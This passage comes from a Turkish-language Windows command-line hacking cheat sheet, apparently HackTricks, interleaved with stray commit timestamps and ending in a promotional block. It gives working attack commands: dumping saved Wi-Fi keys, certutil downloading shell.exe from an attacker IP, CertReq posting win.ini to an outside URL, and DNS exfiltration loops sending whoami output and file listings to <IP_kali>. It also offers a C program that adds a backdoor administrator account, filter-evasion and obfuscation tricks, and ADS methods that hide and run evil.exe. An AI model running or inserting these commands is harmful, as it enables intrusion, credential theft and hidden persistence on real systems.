ls /etc/NetworkManager/system-connections/
```
##### Show Password of a Saved Wifi Profile
```plaintext
sudo cat /etc/NetworkManager/system-connections/WifiProfileName | grep psk=
```
##### Delete a Saved Wifi Profile
```plaintext
sudo rm /etc/NetworkManager/system-connections/WifiProfileName
```
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
2024-02-10 18:14:16 +00:00
SNMP (Simple Network Management Protocol), basit bir ağ yönetim protokolüdür. SNMP, ağ cihazlarının durumunu izlemek, performans istatistiklerini toplamak ve ağ yönetimi için bilgi sağlamak için kullanılır. SNMP, ağ cihazlarına yönelik saldırılar için bir hedef olabilir. Saldırganlar, SNMP protokolünü kullanarak ağ cihazlarına yetkisiz erişim elde edebilir veya ağ cihazlarının yapılandırmasını değiştirebilir. SNMP saldırılarından korunmak için aşağıdaki önlemleri alabilirsiniz:
2024-02-10 18:14:16 +00:00
- SNMP sürümünü güncelleyin ve en son güvenlik yamalarını uygulayın.
- SNMP topluluk dizesini güçlü bir parola ile değiştirin.
- SNMP trafiğini şifreleyin veya güvenli bir kanal üzerinden iletişim kurun.
- SNMP erişimini sınırlayın ve yalnızca güvenilir IP adreslerinden gelen isteklere izin verin.
- SNMP hizmetini gereksiz yere devre dışı bırakın veya kullanılmayan SNMP özelliklerini devre dışı bırakın.
2024-02-10 18:14:16 +00:00
SNMP saldırılarına karşı bu önlemleri alarak ağınızı daha güvenli hale getirebilirsiniz.
2022-05-17 09:34:10 +00:00
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
2024-02-10 18:14:16 +00:00
### Ağ Arayüzleri
Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow a computer to connect to a network. They provide the physical connection between the computer and the network, enabling data transmission.
Ağ arayüzleri, aynı zamanda ağ adaptörleri veya NIC'ler (Network Interface Cards) olarak da bilinen donanım cihazlardır. Bir bilgisayarın bir ağa bağlanmasını sağlarlar. Bilgisayar ve ağ arasında fiziksel bağlantıyı sağlayarak veri iletimini mümkün kılarlar.
In Windows, you can view the network interfaces using the `ipconfig` command. Open a command prompt and type `ipconfig` to display the network configuration information.
Windows'ta, ağ arayüzlerini `ipconfig` komutunu kullanarak görüntüleyebilirsiniz. Bir komut istemi açın ve ağ yapılandırma bilgilerini görüntülemek için `ipconfig` yazın.
The output will show a list of network interfaces along with their IP addresses, subnet masks, and default gateways. Each interface will have a unique identifier called the MAC address.
Çıktı, ağ arayüzlerinin IP adresleri, alt ağ maskeleri ve varsayılan ağ geçitleri ile birlikte bir liste olarak gösterilir. Her arayüzün bir MAC adresi adı verilen benzersiz bir tanımlayıcısı vardır.
You can also use the `netsh` command to manage network interfaces. For example, you can use `netsh interface show interface` to display a list of all network interfaces on the system.
2024-02-10 18:14:16 +00:00
Ayrıca, ağ arayüzlerini yönetmek için `netsh` komutunu da kullanabilirsiniz. Örneğin, `netsh interface show interface` komutunu kullanarak sistemdeki tüm ağ arayüzlerinin bir listesini görüntüleyebilirsiniz.
2020-08-17 14:38:36 +00:00
2024-02-10 18:14:16 +00:00
Understanding the network interfaces on a system is important for various tasks, such as troubleshooting network connectivity issues, configuring network settings, or performing network-based attacks during penetration testing.
Bir sistemdeki ağ arayüzlerini anlamak, ağ bağlantısı sorunlarını giderme, ağ ayarlarını yapılandırma veya penetrasyon testi sırasında ağ tabanlı saldırılar gerçekleştirme gibi çeşitli görevler için önemlidir.
2020-08-17 14:38:36 +00:00
```bash
ipconfig /all
```
2024-02-10 18:14:16 +00:00
### ARP tablosu
ARP (Address Resolution Protocol), bir IP adresinin bir MAC adresine nasıl eşlendiğini belirlemek için kullanılan bir protokoldür. ARP tablosu, bir cihazın ağdaki diğer cihazların IP adresleri ile ilişkili MAC adreslerini tuttuğu bir veritabanıdır. Bu tablo, ağ trafiğini yönlendirmek ve hedef cihazlara doğru paketleri iletmek için kullanılır.
2020-08-17 14:38:36 +00:00
2024-02-10 18:14:16 +00:00
ARP tablosunu görüntülemek için aşağıdaki komutu kullanabilirsiniz:
```plaintext
arp -a
```
2020-08-17 14:38:36 +00:00
2024-02-10 18:14:16 +00:00
Bu komut, ARP tablosundaki tüm girişleri listeleyecektir. Her giriş, bir IP adresi ve ona karşılık gelen bir MAC adresi içerir. ARP tablosu, ağdaki cihazlarla iletişim kurarken IP adreslerini MAC adreslerine çevirmek için kullanılır.
2020-08-17 14:38:36 +00:00
```bash
arp -A
```
2024-02-10 18:14:16 +00:00
## İndirme
Bitsadmin.exe
2022-05-17 09:34:10 +00:00
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
2024-02-10 18:14:16 +00:00
CertReq.exe, also known as Certificate Request Processor, is a command-line tool used for managing certificate requests and certificates in Windows operating systems. It is commonly used by system administrators and security professionals for tasks related to certificate management.
CertReq.exe allows users to generate certificate requests, submit them to a certification authority (CA), retrieve issued certificates, and perform various operations on certificates, such as installing, exporting, and deleting them.
To use CertReq.exe, you need to open a command prompt and run the tool with the appropriate command-line options. Here are some commonly used commands:
2024-02-10 18:14:16 +00:00
- **certreq -new**: Generates a new certificate request based on the information provided in an input file.
- **certreq -submit**: Submits a certificate request to a CA for processing.
- **certreq -retrieve**: Retrieves a certificate issued by a CA.
- **certreq -accept**: Installs a certificate into the local certificate store.
- **certreq -export**: Exports a certificate to a file.
- **certreq -delete**: Deletes a certificate from the local certificate store.
2020-09-07 11:12:11 +00:00
2024-02-10 18:14:16 +00:00
These are just a few examples of the commands that can be used with CertReq.exe. The tool offers many more options and functionalities, which can be explored by referring to the official documentation or by using the **certreq -?** command to display the help menu.
CertReq.exe is a powerful tool that can be leveraged by pentesters and security professionals during various stages of a penetration test or security assessment. It provides a convenient way to manage certificates and interact with CAs in a Windows environment.
2022-05-17 09:34:10 +00:00
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
2024-02-10 18:14:16 +00:00
`Certutil.exe` is a command-line utility in Windows that is used to manage certificates. It can be used to perform various operations such as installing, exporting, and verifying certificates. Here are some common commands that can be used with `certutil.exe`:
- **View certificate details**: `certutil -viewstore <store_name>`
- **Install a certificate**: `certutil -addstore <store_name> <certificate_file>`
- **Export a certificate**: `certutil -exportPFX -p <password> <certificate_thumbprint> <pfx_file>`
- **Verify a certificate**: `certutil -verify <certificate_file>`
- **Delete a certificate**: `certutil -delstore <store_name> <certificate_thumbprint>`
2024-02-10 18:14:16 +00:00
Note: Replace `<store_name>` with the name of the certificate store (e.g., `Root`, `My`, `CA`), `<certificate_file>` with the path to the certificate file, `<certificate_thumbprint>` with the thumbprint of the certificate, and `<pfx_file>` with the path to the PFX file.
2020-09-07 11:12:11 +00:00
2024-02-10 18:14:16 +00:00
For more information and additional commands, you can refer to the [Microsoft documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil).
2022-05-17 09:34:10 +00:00
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
2024-02-10 18:14:16 +00:00
**Daha fazlasını bulmak için [https://lolbas-project.github.io](https://lolbas-project.github.io/) adresinde `Download` kelimesini arayın.**
2024-02-10 18:14:16 +00:00
## Çeşitli
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
2020-09-07 11:12:11 +00:00
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
2021-03-18 23:05:52 +00:00
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
2022-08-13 13:54:19 +00:00
# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
2024-02-10 18:14:16 +00:00
### Karakter Kara Listesini Atlama
Bazı durumlarda, hedef sistemdeki bir uygulama veya güvenlik mekanizması, belirli karakterleri engellemek için bir kara liste kullanabilir. Ancak, bu kara listeyi atlamanın yolları vardır. İşte bazı yöntemler:
#### 1. Karakterleri Değiştirme
Engellenen karakterleri, benzer görünümlü başka karakterlerle değiştirebilirsiniz. Örneğin, "a" harfini "4" ile değiştirebilirsiniz. Bu şekilde, engellenen karakteri kullanmadan hedef sisteme giriş yapabilirsiniz.
#### 2. Karakterleri Kodlama
2024-02-10 18:14:16 +00:00
Engellenen karakterleri, kodlama teknikleri kullanarak atlatabilirsiniz. Örneğin, URL kodlaması veya Unicode kodlaması gibi yöntemlerle karakterleri değiştirerek engellemeyi aşabilirsiniz.
2022-10-02 21:44:11 +00:00
2024-02-10 18:14:16 +00:00
#### 3. Karakterleri Parçalama
Engellenen karakterleri parçalayarak, hedef sisteme giriş yapabilirsiniz. Örneğin, "admin" kelimesini "a d m i n" olarak yazabilirsiniz. Bu şekilde, engellenen karakterleri kullanmadan hedef sisteme erişebilirsiniz.
#### 4. Karakterleri Atlatma
Engellenen karakterleri tamamen atlayarak, hedef sisteme giriş yapabilirsiniz. Örneğin, bir komut dosyası veya araç kullanarak engellenen karakterleri otomatik olarak atlayabilirsiniz.
Bu yöntemler, karakter kara listesini atlamanıza yardımcı olabilir. Ancak, her durumda etkili olmayabilir. Bu nedenle, hedef sistemi ve engelleme mekanizmasını dikkatlice analiz etmek önemlidir.
2022-10-02 21:44:11 +00:00
```bash
2022-10-02 22:00:14 +00:00
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
```
### DOSfuscation
2024-02-10 18:14:16 +00:00
Obfuscated CMD satırı oluşturur.
2022-10-02 22:00:14 +00:00
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
2022-10-02 21:44:11 +00:00
```
2024-02-10 18:14:16 +00:00
### Dinleme adresi ACL'leri
2022-10-02 21:44:11 +00:00
2024-02-10 18:14:16 +00:00
Yönetici olmadan [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) üzerinde dinleyebilirsiniz.
```bash
netsh http show urlacl
```
2024-02-10 18:14:16 +00:00
### Manuel DNS kabuğu
2024-02-10 18:14:16 +00:00
**Saldırgan** (Kali), aşağıdaki 2 seçenekten birini kullanmalıdır:
```bash
sudo responder -I <iface> #Active
2020-09-07 11:12:11 +00:00
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
2024-02-10 18:14:16 +00:00
#### Hedef
2024-02-10 18:14:16 +00:00
**`for /f tokens`** tekniği: Bu bize komutları yürütmeyi, her satırın ilk X kelimesini almayı ve bunu DNS üzerinden sunucumuza göndermeyi sağlar.
2024-02-08 03:08:28 +00:00
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
2024-02-10 18:14:16 +00:00
Ayrıca çıktıyı **yönlendirebilir** ve ardından **okuyabilirsiniz**.
2022-05-17 09:34:10 +00:00
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
2024-02-10 18:14:16 +00:00
## C kodundan CMD'yi çağırmak
CMD'yi C kodundan çağırmak için `system()` fonksiyonunu kullanabilirsiniz. Bu fonksiyon, bir komutu çalıştırmak için işletim sistemi kabuğunu çağırır.
```c
#include <stdlib.h>
2024-02-10 18:14:16 +00:00
int main() {
system("komut");
return 0;
}
```
2024-02-10 18:14:16 +00:00
Yukarıdaki örnekte, `"komut"` yerine çalıştırmak istediğiniz CMD komutunu belirtmelisiniz. Bu şekilde, C kodunuz CMD'yi çağırarak belirtilen komutu çalıştıracaktır.
```c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
2024-02-10 18:14:16 +00:00
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
2024-02-10 18:14:16 +00:00
## Alternatif Veri Akışları Hile Sayfası (ADS/Alternatif Veri Akışı)
2024-02-10 18:14:16 +00:00
**Örnekler [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) adresinden alınmıştır. Orada daha fazla örnek bulunmaktadır!**
```bash
2024-02-05 02:29:11 +00:00
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
2024-02-05 02:29:11 +00:00
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
2024-02-05 02:29:11 +00:00
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
2024-02-05 02:29:11 +00:00
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
2024-02-05 02:29:11 +00:00
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
2022-04-28 16:01:33 +00:00
</details>